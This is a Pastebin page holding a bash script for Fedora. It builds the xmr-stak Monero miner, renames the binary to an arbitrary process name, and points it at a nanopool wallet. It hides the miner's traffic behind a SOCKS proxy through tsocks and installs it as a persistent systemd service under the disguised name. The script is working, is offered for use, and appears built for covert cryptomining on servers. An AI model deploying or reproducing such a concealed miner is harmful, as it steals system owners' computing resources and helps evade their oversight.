daily pastebin goal
89%
SHARE
TWEET

fedora

a guest Jun 30th, 2018 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env bash
  2.  
  3. set -o noclobber
  4.  
  5. if [ "$#" -ne 8 ]; then
  6.   echo "$0 [address] [worker] [email] [process name] [proxy IP] [proxy port] [proxy user] [proxy password]"
  7.   exit
  8. fi
  9.  
  10. ADDRESS=$1
  11. WORKER=$2
  12. EMAIL=$3
  13. PROCESS=$4
  14. PROXY_IP=$5
  15. PROXY_PORT=$6
  16. PROXY_USER=$7
  17. PROXY_PASSWORD=$8
  18.  
  19. source /etc/os-release
  20.  
  21.  
  22. dnf -y install gcc gcc-c++ hwloc-devel libstdc++-static make openssl-devel cmake tsocks git
  23.  
  24.  
  25. cd /root
  26. git clone https://github.com/fireice-uk/xmr-stak.git
  27. mkdir xmr-stak/build
  28. cd xmr-stak/build
  29.  
  30.  
  31. cmake .. -DCUDA_ENABLE=OFF -DOpenCL_ENABLE=OFF -DMICROHTTPD_ENABLE=OFF
  32.  
  33.  
  34. make install
  35.  
  36. mv bin/xmr-stak /usr/bin/$PROCESS
  37. cd /root
  38. rm -rf xmr-stak
  39.  
  40. echo 'vm.nr_hugepages=128' >> /etc/sysctl.conf
  41. sysctl -p
  42.  
  43. mkdir -p /usr/share/$PROCESS
  44.  
  45. cat >| /usr/share/$PROCESS/pools.txt <<EOL
  46. "pool_list" :
  47. [
  48.   {"pool_address" : "xmr-eu1.nanopool.org:14433", "wallet_address" : "$ADDRESS.$WORKER/$EMAIL", "rig_id" : "", "pool_password" : "", "use_nicehash" : false, "use_tls" : true, "tls_fingerprint" : "", "pool_weight" : 1 },
  49. ],
  50. "currency" : "monero7",
  51. EOL
  52.  
  53. cat >| /etc/tsocks.conf <<EOL
  54. local = $PROXY_IP/255.255.255.255
  55. server = $PROXY_IP
  56. server_type = 5
  57. server_port = $PROXY_PORT
  58. default_user = $PROXY_USER
  59. default_pass = $PROXY_PASSWORD
  60. EOL
  61.  
  62. cat >| /etc/systemd/system/$PROCESS.service <<EOL
  63. [Unit]
  64. Description=$PROCESS
  65. After=network.target
  66.  
  67. [Service]
  68. Type=simple
  69. PIDFile=/run/$PROCESS.pid
  70. ExecStart=/usr/bin/tsocks /usr/bin/stdbuf -oL /usr/bin/$PROCESS
  71. ExecReload=/sbin/start-stop-daemon
  72. WorkingDirectory=/usr/share/$PROCESS
  73.  
  74. [Install]
  75. WantedBy=multi-user.target
  76. EOL
  77.  
  78. systemctl daemon-reload
  79. systemctl start $PROCESS
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top